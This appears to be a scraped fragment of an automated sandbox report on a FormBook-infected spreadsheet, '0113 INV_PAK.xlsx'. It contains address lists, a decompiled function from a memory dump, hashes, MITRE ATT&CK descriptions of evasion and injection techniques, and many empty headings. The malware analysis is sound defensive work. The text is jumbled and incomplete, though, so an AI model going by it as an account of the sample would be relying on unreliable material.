0x00000000
0x00a1ec26
0x00a1ec29
0x00a1ec2c
0x00000000
0x00000000
0x00a1ec2e
0x00a1ec32
0x00a1ec33
0x00a1ec36
0x00a1ec39
0x00a1ec3f
0x00a1ec42
0x00a1ec43
0x00a1ec44
0x00a1ec45
0x00a1ec46
0x00a1ec4a
0x00a1ec4f
0x00a1ec56
0x00a1ec59
0x00a1ec5c
0x00a1ec62
0x00a1ec6b
0x00a1ec72
0x00a1ec78
0x00a1ec81
0x00a1ec87
0x00000000
0x00a1ec87
0x00a1ebd5
0x00a1ebd5
0x00000000
0x00a1ebd5
0x00a1eb5e
0x00000000
0x00a1eb5e
0x00a1ea9a
0x00a1ea9b
0x00a1eaa3
0x00a1eaa5
0x00a1eaac
0x00a1eaaf
0x00000000
0x00000000
0x00a1eab5
0x00a1eab6
0x00a1eabe
0x00a1eabf
0x00a1eac2
0x00a1eac9
0x00a1eacc
0x00000000
0x00000000
0x00a1ead2
0x00a1ead3
0x00a1ead8
0x00a1ead9
0x00a1eadd
0x00a1eae4
0x00a1eae7
0x00000000
0x00000000
0x00a1eaed
0x00a1eaee
0x00a1eaf6
0x00a1eaf9
0x00a1eb00
0x00a1eb03
0x00000000
0x00000000
0x00a1eb0e
0x00a1eb15
0x00a1eb18
0x00000000
0x00000000
0x00a1eb22
0x00a1eb26
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A1ED1C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A1ED32

Part of subcall function 0095F900: LdrInitializeThunk.NTDLL ref: 0095F90E

Strings

RESCHIT, xrefs: 00A1EF06

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
String ID: RESCHIT
API String ID: 1404860816-3012903726
Opcode ID: 9e2cc6addef524c309cc4af5253d67362ac08711b9c8f7f376d8fa5e594f3f82
Instruction ID: 2fec1c114297444f7d9fabe3447db46d71eadd8fee0160e5cbdb1eb238b575eb
Opcode Fuzzy Hash: 9e2cc6addef524c309cc4af5253d67362ac08711b9c8f7f376d8fa5e594f3f82
Instruction Fuzzy Hash: 94024CB1904749EFDB55DF64C880BEABBF8FF08310F00856AE999D7251D730A995CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A1C371, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00A1C371(void* __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8, short _a12) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				char _v24;
				intOrPtr _t57;
				short _t58;
				intOrPtr _t61;
				signed char _t63;
				signed int _t65;
				signed int _t74;
				signed int _t75;
				intOrPtr* _t76;
				signed int _t80;
				signed int _t82;
				intOrPtr _t87;
				signed int _t89;
				signed int _t90;
				intOrPtr* _t91;
				signed int _t93;
				signed int _t94;
				intOrPtr _t97;

				_t87 = __edx;
				_v16 = _v16 & 0x00000000;
				_v8 = _v8 & 0x00000000;
				_t80 = _a8;
				_t57 =  *((intOrPtr*)(_t80 + 4));
				if(_t57 <= 0) {
					_t57 =  *((intOrPtr*)(_t80 + 8));
				}
				_t97 = _a4;
				 *((intOrPtr*)(_t80 + 0x30)) = _t57;
				_t89 =  *((intOrPtr*)(_t97 + 0x80));
				_t58 = _a12;
				_a8 = _t89;
				if(_t57 != 0x48 || _t58 == 1) {
					 *((short*)(_t80 + 0x34)) = _t58;
					 *((intOrPtr*)(_t80 + 0x10)) = E00A1BCFC();
					 *((intOrPtr*)(_t80 + 0x14)) = _t87;
					__eflags =  *(_t97 + 0x5c);
					if( *(_t97 + 0x5c) == 0) {
						goto L25;
					}
					_t61 =  *((intOrPtr*)(_t80 + 0x30));
					__eflags = _t61 - _t89;
					if(_t61 < _t89) {
						_t78 = _t61 + _t80;
						__eflags = _t61 + _t80;
						E0096DFC0(_t78, 0xff, _t89 - _t61);
					}
					_t90 =  *(_t97 + 0xcc);
					_t63 = _t90 >> 3;
					__eflags = _t63 & 0x00000001;
					if((_t63 & 0x00000001) != 0) {
						_v16 = 2;
					}
					_t82 =  *(_t97 + 0xc8);
					__eflags = _t82;
					if(_t82 <= 0) {
						L18:
						_push(0);
						_t91 = _t97 + 0xf0;
						_push(_t91);
						_push(_a8);
						_push(_t80);
						_push( &_v24);
						_push(0);
						_push(0);
						_push(0);
						_t65 = E0095F938( *(_t97 + 0x5c));
						_v8 = _t65;
						__eflags = _t65;
						if(_t65 < 0) {
							__eflags = _t65 - 0x80000022;
							if(_t65 == 0x80000022) {
								goto L25;
							}
							__eflags = _v8 - 2;
							if(_v8 == 2) {
								goto L25;
							}
							goto L24;
						}
						 *_t91 =  *_t91 + _a8;
						asm("adc dword [edi+0x4], 0x0");
						 *((intOrPtr*)(_t97 + 0x100)) =  *((intOrPtr*)(_t97 + 0x100)) + 1;
						 *((intOrPtr*)(_t97 + 0xd8)) =  *((intOrPtr*)(_t97 + 0xd8)) + 1;
						goto L25;
					} else {
						asm("sbb eax, eax");
						asm("cdq");
						_v12 = E0098F1E0(( ~(_t90 & 0x00002000) & 0xfff00400) + 0x100000, _t87, _t82, 0);
						_t74 =  *((intOrPtr*)(_t97 + 0xd8)) + _v16;
						_t75 = _t74 * _a8;
						__eflags = _t74 * _a8 >> 0x20 - _t87;
						if(__eflags < 0) {
							goto L18;
						}
						if(__eflags > 0) {
							L14:
							_t93 = (_t90 & 0x0000000b) - 1;
							__eflags = _t93;
							if(_t93 == 0) {
								_v8 = 0xc0000188;
								L24:
								_t54 = _t97 + 0xfc;
								 *_t54 =  *(_t97 + 0xfc) + 1;
								__eflags =  *_t54;
								goto L25;
							}
							_t94 = _t93 - 1;
							__eflags = _t94;
							if(_t94 == 0) {
								_t76 = _t97 + 0xe8;
								 *((intOrPtr*)(_t97 + 0xf0)) =  *_t76;
								_t86 =  *((intOrPtr*)(_t76 + 4));
								 *((intOrPtr*)(_t97 + 0xf4)) =  *((intOrPtr*)(_t76 + 4));
								 *((intOrPtr*)(_t97 + 0xd8)) = E009A4FC0( *_t76, _t86,  *((intOrPtr*)(_t97 + 0x80)), 0);
							} else {
								__eflags = _t94 == 6;
								if(_t94 == 6) {
									_t34 = _t97 + 0xd4;
									 *_t34 =  *(_t97 + 0xd4) | 0x00000001;
									__eflags =  *_t34;
								}
							}
							goto L18;
						}
						__eflags = _t75 - _v12;
						if(_t75 < _v12) {
							goto L18;
						}
						goto L14;
					}
				} else {
					_v8 = 0x80000022;
					L25:
					return _v8;
				}
			}

0x00a1c371
0x00a1c379
0x00a1c37d
0x00a1c382
0x00a1c385
0x00a1c38c
0x00a1c38e
0x00a1c38e
0x00a1c391
0x00a1c394
0x00a1c397
0x00a1c3a0
0x00a1c3a4
0x00a1c3a7
0x00a1c3bb
0x00a1c3c4
0x00a1c3c7
0x00a1c3ca
0x00a1c3ce
0x00000000
0x00000000
0x00a1c3d4
0x00a1c3d7
0x00a1c3d9
0x00a1c3de
0x00a1c3de
0x00a1c3e6
0x00a1c3eb
0x00a1c3ee
0x00a1c3f6
0x00a1c3f9
0x00a1c3fb
0x00a1c3fd
0x00a1c3fd
0x00a1c404
0x00a1c40a
0x00a1c40c
0x00a1c45f
0x00a1c461
0x00a1c462
0x00a1c468
0x00a1c469
0x00a1c46f
0x00a1c470
0x00a1c471
0x00a1c472
0x00a1c473
0x00a1c477
0x00a1c47c
0x00a1c47f
0x00a1c481
0x00a1c4d2
0x00a1c4d7
0x00000000
0x00000000
0x00a1c4d9
0x00a1c4dd
0x00000000
0x00000000
0x00000000
0x00a1c4dd
0x00a1c486
0x00a1c488
0x00a1c48c
0x00a1c492
0x00000000
0x00a1c40e
0x00a1c417
0x00a1c425
0x00a1c42e
0x00a1c437
0x00a1c43c
0x00a1c43f
0x00a1c441
0x00000000
0x00000000
0x00a1c443
0x00a1c44a
0x00a1c44d
0x00a1c44d
0x00a1c44e
0x00a1c4c9
0x00a1c4df
0x00a1c4df
0x00a1c4df
0x00a1c4df
0x00000000
0x00a1c4df
0x00a1c450
0x00a1c450
0x00a1c451
0x00a1c49a
0x00a1c4aa
0x00a1c4b0
0x00a1c4b6
0x00a1c4c1
0x00a1c453
0x00a1c453
0x00a1c456
0x00a1c458
0x00a1c458
0x00a1c458
0x00a1c458
0x00a1c456
0x00000000
0x00a1c451
0x00a1c445
0x00a1c448
0x00000000
0x00000000
0x00000000
0x00a1c448
0x00a1c3af
0x00a1c3af
0x00a1c4e5
0x00a1c4ec
0x00a1c4ec

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A1C4BC

Strings

", xrefs: 00A1C3AF
RESCHIT, xrefs: 00A1C420

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: "$RESCHIT
API String ID: 885266447-432754295
Opcode ID: 21b0ad0dda1a5bf92bd42300e84133f5eed5dd667f43441593c7c56666070728
Instruction ID: a219a94e1069ab64ccd89925bcf696d2baeb78ae7dc4e2d5e601c18f2922adff
Opcode Fuzzy Hash: 21b0ad0dda1a5bf92bd42300e84133f5eed5dd667f43441593c7c56666070728
Instruction Fuzzy Hash: 2941BF71544605EFDB24DF64C849BFAB7B5FF44324F148429E85ADB201D774E980CB54

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 0113 INV_PAK.xlsx

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Exploits:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "0113 INV_PAK.xlsx"

Indicators

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

Function 00418270, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Function 00409B20, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON